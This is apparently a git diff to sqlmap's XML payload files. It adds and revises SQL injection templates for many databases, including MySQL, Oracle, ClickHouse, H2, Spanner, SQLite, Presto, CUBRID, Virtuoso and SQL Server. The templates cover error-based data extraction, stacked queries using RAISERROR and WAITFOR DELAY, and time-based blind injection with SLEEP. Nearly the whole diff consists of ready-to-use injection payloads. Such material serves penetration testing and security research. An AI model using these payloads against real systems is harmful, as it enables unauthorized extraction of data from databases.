- PostgreSQL boolean-based blind - Stacked queries 1 diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index 3023df9fba8..65c535e22f6 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -2,92 +2,134 @@ + - MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) + MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) 2 - 1 + 2 1 1,2,3,8,9 1 - AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) - - AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.1 + >= 5.6
- MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) + MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET) 2 - 1 + 2 3 - 1,2,3,8,9 - + 1,8,9 1 - OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) - - OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.1 + >= 5.6
+ - MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) + MySQL >= 8.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UUID_TO_BIN) 2 - 2 + 5 1 1,2,3,8,9 1 - AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + AND [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + AND [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.6 + >= 8.0
- MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET) + MySQL >= 8.0 OR error-based - WHERE or HAVING clause (UUID_TO_BIN) 2 - 2 + 5 3 1,8,9 1 - OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + OR [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + OR [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.6 + >= 8.0 +
+
+ + + MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) + 2 + 1 + 1 + 1,2,3,8,9 + 1 + AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + + + AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ + + MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) + 2 + 1 + 3 + 1,2,3,8,9 + + 1 + OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + + + OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1
@@ -271,7 +313,7 @@
- MySQL >= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) + MySQL >= 5.0 (inline) error-based - Table name clause (FLOOR) 2 5 1 @@ -593,7 +635,7 @@ 3 1,9 2 - OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) @@ -608,7 +650,7 @@ Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) 2 - 2 + 4 1 1,9 1 @@ -628,7 +670,7 @@ Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) 2 - 2 + 4 3 1,9 2 @@ -686,7 +728,7 @@ Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH) 2 - 4 + 2 1 1,9 1 @@ -705,7 +747,7 @@ Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH) 2 - 4 + 2 3 1,9 2 @@ -728,9 +770,10 @@ 1 1 1 - AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS BIGINT),1) - AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]') + AND [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]' AS BIGINT),1) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -747,9 +790,9 @@ 3 1 2 - OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + OR [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS BIGINT),1) - OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]') + OR [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]' AS BIGINT),1) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -766,9 +809,10 @@ 1 1 1 - AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1)) - AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') + AND [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST((SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -785,9 +829,9 @@ 3 1 2 - OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + OR [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1)) - OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') + OR [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST((SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -804,9 +848,10 @@ 1 1 1 - AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + AND [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)) - AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) + AND [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -823,9 +868,9 @@ 3 1 2 - OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) + OR [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)) - OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) + OR [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -835,6 +880,123 @@ + + InterSystems Cache AND error-based - WHERE or HAVING clause + 2 + 5 + 1 + 1 + 1 + + AND [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]','YYYY')) + + AND [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]','YYYY')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ InterSystems Cache +
+
+ + + InterSystems Cache OR error-based - WHERE or HAVING clause + 2 + 5 + 3 + 1 + 2 + OR [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]','YYYY')) + + OR [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]','YYYY')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ InterSystems Cache +
+
+ + + CUBRID AND error-based - WHERE or HAVING clause + 2 + 5 + 1 + 1 + 1 + + AND [RANDNUM]=INET_ATON('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=INET_ATON('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Cubrid +
+
+ + + CUBRID OR error-based - WHERE or HAVING clause + 2 + 5 + 3 + 1 + 2 + OR [RANDNUM]=INET_ATON('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=INET_ATON('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Cubrid +
+
+ + + Virtuoso AND error-based - WHERE or HAVING clause + 2 + 5 + 1 + 1 + 1 + + AND [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INTEGER),1) + + AND [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' AS INTEGER),1) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Virtuoso +
+
+ + + Virtuoso OR error-based - WHERE or HAVING clause + 2 + 5 + 3 + 1 + 2 + OR [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INTEGER),1) + + OR [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' AS INTEGER),1) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Virtuoso +
+
+ IBM DB2 AND error-based - WHERE or HAVING clause 2 @@ -880,7 +1042,7 @@ 1 1,2,3,9 1 - AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') + AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]') AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') @@ -899,7 +1061,7 @@ 3 1,2,3,9 1 - OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') + OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]') OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') @@ -911,17 +1073,189 @@ - + + + ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (getSetting) + 2 + 5 + 1 + 1,2,3,9 + 1 + AND [RANDNUM]=getSetting('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') + + AND [RANDNUM]=getSetting('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ ClickHouse +
+
+ + + H2 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST) + 2 + 1 + 1 + 1,2,3,9 + 1 + + AND [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT),1) + + AND [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT),1) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ H2 +
+
+ + + H2 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST) + 2 + 4 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT),1) + + OR [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT),1) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ H2 +
+
+ + + Spanner AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 5 + 1 + 1,2,3,8,9 + 1 + AND ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL + + AND ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Spanner +
+
+ + + Spanner OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 5 + 3 + 1,2,3,8,9 + 1 + OR ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL + + OR ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Spanner +
+
+ + + SQLite >= 3.9 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON path) + 2 + 2 + 1 + 1,2,3,8,9 + 1 + AND [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ SQLite + >= 3.9 +
+
+ + + SQLite >= 3.9 OR error-based - WHERE or HAVING clause (JSON path) + 2 + 2 + 3 + 1,8,9 + 1 + OR [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ SQLite + >= 3.9 +
+
+ + + + Presto AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (PARSE_DATA_SIZE) + 2 + 5 + 1 + 1,2,3,8,9 + 1 + AND [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]') + + AND [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)) AS VARCHAR)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Presto +
+
+ + + Presto OR error-based - WHERE or HAVING clause (PARSE_DATA_SIZE) + 2 + 5 + 3 + 1,8,9 + 1 + OR [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]') + + OR [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)) AS VARCHAR)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Presto +
+
+ MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE) 2 - 2 + 5 1 1,2,3,4,5 1 @@ -1181,7 +1515,7 @@ 1 1,3 3 - (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) @@ -1458,7 +1792,7 @@ 1 2,3 1 - ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) @@ -1507,13 +1841,29 @@ IBM DB2 - + + Microsoft SQL Server error-based - Stacking (RAISERROR) + 2 + 2 + 1 + 1-8 + 1 + ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+REPLACE(([QUERY]),'%','%%')+'[DELIMITER_STOP]');RAISERROR(@[RANDSTR],16,1) + + ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'%','%%')+'[DELIMITER_STOP]');RAISERROR(@[RANDSTR],16,1) + -- + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server +
+
+ Microsoft SQL Server/Sybase error-based - Stacking (EXEC) 2 diff --git a/data/xml/payloads/inline_query.xml b/data/xml/payloads/inline_query.xml index 7269be695c4..5b28c05a80d 100644 --- a/data/xml/payloads/inline_query.xml +++ b/data/xml/payloads/inline_query.xml @@ -141,7 +141,7 @@ 1 1,2,3,8 3 - ('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') + ('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]') ('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') diff --git a/data/xml/payloads/stacked_queries.xml b/data/xml/payloads/stacked_queries.xml index b431bb7849f..c7e15ed03fe 100644 --- a/data/xml/payloads/stacked_queries.xml +++ b/data/xml/payloads/stacked_queries.xml @@ -207,7 +207,7 @@ PostgreSQL < 8.2 stacked queries (Glibc - comment) 4 3 - 1 + 3 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -229,7 +229,7 @@ PostgreSQL < 8.2 stacked queries (Glibc) 4 5 - 1 + 3 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -328,6 +328,48 @@ + + Microsoft SQL Server/Sybase stacked queries (no semicolon) + 4 + 5 + 1 + 1-8 + 1 + IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' + + WAITFOR DELAY '0:0:[SLEEPTIME]' + -- + + + + +
+ Microsoft SQL Server + Sybase +
+
+ + + Microsoft SQL Server/Sybase stacked queries (DECLARE - no semicolon) + 4 + 5 + 1 + 1-8 + 1 + DECLARE @x CHAR(9) SET @x=0x303a303a3[SLEEPTIME] IF([INFERENCE]) WAITFOR DELAY @x + + DECLARE @x CHAR(9) SET @x=0x303a303a3[SLEEPTIME] WAITFOR DELAY @x + -- + + + + +
+ Microsoft SQL Server + Sybase +
+
+ Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment) 4 diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index 21a50ce4016..3a774d15ad0 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -11,9 +11,9 @@ 1 1,2,3,8,9 1 - AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) @@ -31,9 +31,9 @@ 3 1,2,3,9 1 - OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) @@ -51,9 +51,9 @@ 1 1,2,3,8,9 1 - AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]) - AND SLEEP([SLEEPTIME]) + AND !SLEEP([SLEEPTIME]) @@ -71,9 +71,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]) - OR SLEEP([SLEEPTIME]) + OR !SLEEP([SLEEPTIME]) @@ -91,9 +91,9 @@ 1 1,2,3,9 1 - AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]) - AND SLEEP([SLEEPTIME]) + AND !SLEEP([SLEEPTIME]) # @@ -112,9 +112,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]) - OR SLEEP([SLEEPTIME]) + OR !SLEEP([SLEEPTIME]) # @@ -133,9 +133,9 @@ 1 1,2,3,9 1 - AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -154,9 +154,9 @@ 3 1,2,3,9 1 - OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) 